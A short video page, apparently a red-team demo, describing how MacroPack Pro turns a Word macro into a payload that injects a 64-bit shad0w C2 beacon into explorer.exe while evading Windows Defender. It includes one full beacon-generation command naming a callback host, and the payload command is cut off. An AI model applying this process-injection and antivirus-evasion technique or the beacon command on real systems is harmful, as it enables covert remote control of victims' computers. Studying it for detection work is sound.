Run 64bit shellcode (shad0w beacon) from 32bit Office with MacroPack Pro from vba open file explorer Watch Video
Preview(s):
Gallery
Play Video: (Note: The default playback of the video is HD VERSION. If your browser is buffering the video slowly, please play the REGULAR MP4 VERSION or Open The Video below for better experience. Thank you!)
Description: In this video, we demonstrate how MacroPack Pro can generate a payload to run a 64bit shellcode from a 32bit Microsoft Word.nFor that, the Word payload will inject the 64bit shellcode in another 64bit process (explorer.exe here).nIn this video the shellcode is a shad0w beacon and Windows Defender is bypassed during the operation.nnThe shad0w beacon was generated with:nshad0w beacon -H 192.168.5.43 -f raw -p x64/windows/secure-o beacon.binnnnHere is the command line used to generate the Word pa
Play Video: (Note: The default playback of the video is HD VERSION. If your browser is buffering the video slowly, please play the REGULAR MP4 VERSION or Open The Video below for better experience. Thank you!)